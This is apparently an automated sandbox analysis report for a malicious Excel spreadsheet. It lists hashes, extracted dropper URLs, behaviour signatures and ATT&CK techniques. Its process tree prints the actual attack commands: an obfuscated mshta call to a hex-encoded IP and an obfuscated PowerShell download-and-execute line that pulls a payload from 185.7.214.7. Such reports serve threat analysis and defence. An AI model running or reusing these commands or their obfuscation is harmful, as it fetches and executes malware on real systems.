4627d88cb27d885555625326c40717630dbfc7708869fdde4d0064f2d59e5bb4

General

Target

30686367235.xls
Size

142KB
MD5

70caf460cf0c000b71bd37cc9e8d3065
SHA1

d5cf4d2edfc7466a0292cec8e435839ee139bd7d
SHA256

4627d88cb27d885555625326c40717630dbfc7708869fdde4d0064f2d59e5bb4
SHA512

7d23f1f84fca0a9b99e745e29c7529bb85dba3a7a7f158cfecaac7d25a55d1a03ce8c4603a13bc3be11c07f6059776ba3938b9af18317b938d1d9e8142b026bf

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://0xb907d607/fer/fer.html

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://185.7.214.7/fer/fer.png

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	1876	2596	cmd.exe	51

Blocklisted process makes network request 1 IoCs

flow	pid	Process
33	1180	mshta.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
2588	1180	WerFault.exe	62

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2596	EXCEL.EXE

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
2596	EXCEL.EXE
2596	EXCEL.EXE

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
2596	EXCEL.EXE
2596	EXCEL.EXE
2596	EXCEL.EXE
2596	EXCEL.EXE
2596	EXCEL.EXE
2596	EXCEL.EXE
2596	EXCEL.EXE
2596	EXCEL.EXE
2596	EXCEL.EXE
2596	EXCEL.EXE
2596	EXCEL.EXE
2596	EXCEL.EXE

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2596 wrote to memory of 1612	2596	EXCEL.EXE	58
PID 2596 wrote to memory of 1612	2596	EXCEL.EXE	58
PID 2596 wrote to memory of 1876	2596	EXCEL.EXE	60
PID 2596 wrote to memory of 1876	2596	EXCEL.EXE	60
PID 1876 wrote to memory of 1180	1876	cmd.exe	62
PID 1876 wrote to memory of 1180	1876	cmd.exe	62

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\30686367235.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2596
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:1612
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fer.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:1876
- - C:\Windows\system32\mshta.exe
    mshta http://0xb907d607/fer/fer.html
    3⤵
    - Blocklisted process makes network request
    PID:1180
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fer.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
      4⤵
      PID:3456
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 1180 -s 1720
      4⤵
      Program crash
      PID:2588

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p
1⤵
PID:3432

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow
1⤵
PID:3528

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 404 -p 1180 -ip 1180
1⤵
PID:3636

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

3

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/2596-130-0x00007FF83F2D0000-0x00007FF83F2E0000-memory.dmp

Filesize
64KB

Download
memory/2596-131-0x00007FF83F2D0000-0x00007FF83F2E0000-memory.dmp

Filesize
64KB

Download
memory/2596-132-0x00007FF83F2D0000-0x00007FF83F2E0000-memory.dmp

Filesize
64KB

Download
memory/2596-133-0x00007FF83F2D0000-0x00007FF83F2E0000-memory.dmp

Filesize
64KB

Download
memory/2596-134-0x00007FF83F2D0000-0x00007FF83F2E0000-memory.dmp

Filesize
64KB

Download
memory/2596-137-0x00007FF83CE40000-0x00007FF83CE50000-memory.dmp

Filesize
64KB

Download
memory/2596-138-0x00007FF83CE40000-0x00007FF83CE50000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads